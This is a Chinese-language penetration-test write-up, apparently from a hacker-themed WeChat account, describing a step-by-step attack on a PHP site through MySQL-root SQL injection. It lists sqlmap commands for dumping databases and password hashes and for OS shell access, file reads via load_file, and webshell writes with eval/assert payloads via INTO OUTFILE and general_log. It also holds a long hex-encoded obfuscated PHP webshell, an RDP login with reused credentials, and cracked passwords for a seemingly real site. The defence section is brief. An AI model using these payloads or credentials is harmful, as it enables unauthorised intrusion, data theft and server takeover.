在實際滲透測試過程中,當發現目標站點存在SQL注入漏洞,一般都是交給sqlmap等工具來自動處理,證明其存在SQL注入漏洞以及獲取數據庫;如果當前網站使用的數據庫用戶為root賬號,則還可以嘗試獲取Webshell和提權。在一般情況下,如果發現是root賬號,則90%以上機會可以獲取webshell,且極有可能獲得服務器權限。
本次滲透過程碰到一種特殊情況:
(1)php網站存在SQL注入漏洞。
(2)網站使用的用戶是Root賬號
(3)知道web網站真實物理路徑
無法寫入Webshell,無法直接udf提權!嘗試了sqlmap有關MySQL數據庫滲透的一些技術,雖然技術上未能獲取webshell,但最后結合社工,成功獲取了服務器權限,對特定服務器的滲透具有借鑒意義。
1.1使用sqlmap滲透常規思路1.獲取信息
通過“sqlmap -u url”命令對注入點進行漏洞確認,然后依次進行以下命令,來獲取數據庫信息:
(1)列數據庫信息:--dbs
(2)web當前使用的數據庫--current-db
(3)web數據庫使用賬戶 --current-user
(4)列出數據庫所有用戶 --users
(5)數據庫賬戶與密碼 --passwords
(6)指定庫名列出所有表 -D databasename--tables
(7)指定庫名表名列出所有字段-D antian365 -T admin --columns
(8)指定庫名表名字段dump出指定字段
-D secbang_com -T admin -C id,password ,username --dump
-D antian365 -T userb -C"email,Username,userpassword" --dump
2.有root權限的情況下可以系統訪問權限嘗試
--os-cmd=OSCMD//執行操作系統命令
--os-shell //反彈一個osshell
--os-pwn //pwn,反彈msf下的shell或者vnc
--os-smbrelay //反彈msf下的shell或者vnc
--os-bof //存儲過程緩存溢出
--priv-esc //數據庫提權
3.通過查看管理員表,來獲取管理員賬號和密碼,對加密賬號還需要進行破解。
4.尋找后臺地址并登錄。
5.通過后臺尋找上傳漏洞,或者其它漏洞來嘗試獲取webshell權限。
1.2使用sqlmap進行全自動獲取再確認漏洞后,可以使用“sqlmap -uurl --smart --batch -a”自動進行注入,自動填寫判斷,獲取數據庫所有信息,包括dump所有數據庫的內容。切記對大數據庫尤其謹慎,不能用該命令,否則會獲取大量數據記錄,原因您懂的。在本例中測試了該方法,可以直接獲取該SQL注入漏洞所在站點的所有數據庫,獲取數據不是本次討論的主要目的。
1.3直接提權失敗 根據前面的介紹,直接使用“--os-cmd=whoami”命令來嘗試是否可以直接執行命令,如圖1所示,執行命令后,需要選擇網站腳本語言,本次測試是php,所以選擇“4”,在選擇路徑中選擇“2”,自定義路徑,輸入“D:/EmpireServer/web”后未能直接執行命令。

圖1無法執行命令
在嘗試無法直接執行命令后,后面繼續測試“--os-shell”也失敗的情況下,嘗試去分析sqlmap的源代碼,嘗試能否直接加入已經獲取的網站路徑地址,來獲取權限。通過分析代碼未能找到其相關配置文件,無奈之下繼續進行后面的測試。
1.4使用sqlmap獲取sql-shell權限1.通過sqlmap對SQL注入點加參數“--sql-shell”命令來直接獲取數據庫shell:
sqlmap.py -uhttp://**.**.**.***/newslist.php?id=2 --sql-shell
執行后如圖2所示,獲取操作系統版本,web應用程序類型等信息:
web server operating system: windows //操作系統為windows
web Application technology: Apache 2.2.4, PHP 5.2.0//Apache服務器,php
back-end DBMS: MySQL 5//MySQL數據庫大于5.0版本

圖2嘗試獲取sql-shell
2.查詢數據庫密碼
在sql-shell中執行數據庫查詢命令selecthost,user,password from mysql.user,嘗試能否獲取所有的數據庫用戶和密碼,在獲取信息過程需要選擇獲取多少信息,選擇All則表示所有,其它數字則表示獲取條數,一般輸入“a”即可。如圖3所示,成功獲取當前數據庫root賬號和密碼等信息。如果host值是“%”,則可以通過遠程連接進行管理。
sql-shell>select host,user,password from mysql.user
[20:54:57][INFO] fetching SQL SELECT statement query output: 'select host,user,passwordfrom mysql.user'
selecthost,user,password from mysql.user [2]:
localhost, root, *4EEC9DAEA6909F53C5140C23D0F3A7618CAE1DF9
127.0.0.1, root, *4EEC9DAEA6909F53C5140C23D0F3A7618CAE1DF9

圖3查詢mysql數據庫用戶信息
3.嘗試獲取目錄信息
使用查詢命令“select@@datadir”命令來獲取數據庫數據保存的位置,如圖4所示,獲取其數據庫保存位置為“D:EmpireServerphpmysql5Data”,看到這個信息,使用百度對關鍵字“EmpireServer”進行搜索。獲取一個EmpireServer的關鍵安裝信息:
(1)將壓縮的帝國軟件放到D盤,解壓到當前文件夾
(2)執行D:EmpireServer一鍵安裝命令
(3)在web文件夾里新建自己文件夾如zb,把web中所有目錄放到zb中
(4)刪除/e/install/install.off文件!
(5)在瀏覽器中運行http://localhost/zb/e/install/重新安裝
(6)數據庫用戶名root密碼為空、其余用戶名、密碼為admin
(7)登陸前臺首頁http://localhost/zb,登陸后臺http://localhost/zb/e/admin
(8)數據庫所在路徑D:EmpireServerphpmysql5data
(9)保存網站:保存自己建立的文件夾目錄,例如:D:EmpireServerwebzb的zb目錄和數據庫目錄,例如:D:EmpireServerphpmysql5datazb的zb目錄。

圖4獲取數據庫數據保存目錄
4.讀取文件
通過上一步的分析,猜測網站可能使用web等關鍵字來作為網站目錄使用,因此嘗試使用:select load_file(‘D:/EmpireServer/web/index.php’)來讀取index.php文件的內容,如圖5所示,成功讀取!在使用load_file函數進行讀取文件時,一定要進行“D:EmpireServerweb”符號的轉換,也即將“”換成“/”,否則無法讀取,在讀取文件中可以看到inc/getcon.php、inc/function.php等文件包含。

圖5讀取首頁文件內容
(5)獲取root賬號密碼
執行查詢命令select load_file(‘D:/EmpireServer/web/inc/getcon.php’),如圖6所示,成功獲取數據庫配置文件getcon.php的內容,在其配置信息中包含了root賬號和密碼:
root net***.com*** (

圖6獲取root賬號及密碼
1.5嘗試獲取webshell以及提權 1.嘗試能否更改數據庫內容,如圖7所示執行更新MySQL命令:
updatemysql.user set mysql.host='%' where mysql.user='127.0.0.1';

圖7執行更新數據庫表命令
經過實際測試,通過sql-shell參數可以很方便的進行查詢,執行update命令沒有成功,后續還進行了一系列的update命令測試,結果沒有成功就放棄直接更換host為“%”的思路。也曾經想直接添加一個賬號和遠程授權,通過sqlmap以及手工均未成功!
CREATEUSER newuser@'%' IDENTIFIED BY '123456';
grantall privileges on *.* to newuser@'%' identified by "123456" with grant option;
FLUSHPRIVILEGES;
(2)嘗試利用sqlmap的--os-pwn命令
使用“--os-shell”輸入前面獲取的真實物理路徑“D:/EmpireServer/web”未能獲取可以執行命令的shell,后續,執行“--os-pwn”則提示需要安裝pywin32,如圖8所示,在本地下載安裝后,還是不成功。pywin32下載地址:
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/pywin32-221.win-amd64-py2.7.exe/download
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/

圖8執行“--os-pwn”命令
(3)嘗試利用sqlmap的sql-query命令
執行sqlmap.py -u http://**.**.**.***/newslist.php?id=2--sql-query=" select host ,user,password from mysql.user”其效果跟前面的sql-shell類似,執行update命令仍然不行。
1.6嘗試寫入文件1.直接sql-query寫入文件
MySQL root賬號提權條件:
(1)網站必須是root權限(已經滿足)
(2)攻擊者需要知道網站的絕對路徑(已經滿足)
(3)GPC為off,php主動轉義的功能關閉(已經滿足)
雖然條件滿足,實際測試情況確實查詢后無結果。
2.general_log_file獲取webshell測試
(1)查看genera文件配置情況
showglobal variables like "%genera%";
(2)關閉general_log
setglobal general_log=off;
(3)通過general_log選項來獲取webshell
setglobal general_log='on';
SETglobal general_log_file='D:/EmpireServer/web/cmd.php';
(4)執行查詢
SELECT'<?php assert($_POST["cmd"]);?>';
結果仍然未獲取webshell。
3.更換路徑
懷疑是文件寫入權限,后續訪問網站獲取某一個圖片的地址后,更換地址后進行查詢:
select'<?php @eval($_POST[cmd]);?>' INTO OUTFILE 'D:/EmpireServer/web/uploadfile/image/20160407/23.php';
訪問webshell地址:
http://**.**.**.***/uploadfile/image/20160407/23.php
測試結果還是不行,如圖9所示。

圖9更換路徑查詢導出文件
4.使用加密webshell寫入
執行加密webshell查詢,查詢成功,但訪問實際頁面不成功。
select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E')into dumpfile 'D:/EmpireServer/web/22.php'
1.7社工賬號登錄服務器1.登錄遠程桌面
后面靈機一動,使用root獲取的賬號直接登錄該3389,也即社工攻擊,如圖10所示成功登錄服務器。

圖10成功登錄服務器
2.發現后臺地址ls1010_admin
登錄服務器后,發現網站不是采用模版安裝的,而是在此基礎上進行二次開發,且更換了后臺管理地址為“ls1010_admin”。管理員密碼:51623986534b8fd8bfd88cdb8b9e2181破解后密碼為wanxin170104,使用該密碼成功登錄后臺,如圖11所示。在該后臺中還發現一個用戶名稱bcitb,密碼為bcitb1010。
技巧:分享一個免費的md5查詢網站:https://www.somd5.com/

圖11成功登錄后臺
1.8總結與防御
1.本次滲透測試使用了sqlmap中所有有關mysql滲透到模塊,特別是系統訪問層面的,例如--os-smbrelay,該模塊在kali下使用,有時候可能會有奇效,如果存在漏洞將會直接反彈一個msf的shell。
2.本次通過猜測后臺基本上是無解的,可以看出網站應該是刻意更改網站后臺地址,讓攻擊者無法輕易獲取后臺地址,但其后臺中還存在開發人員留下的測試賬號,可能導致系統安全隱患。
3.網站在安全方面應該進行了一些簡單加固,但SQL注入漏洞的存在使這些設置基本無用。
公眾號:黑客Anony 歡迎了解更多干貨!!
聽說好看的人都會關注哦!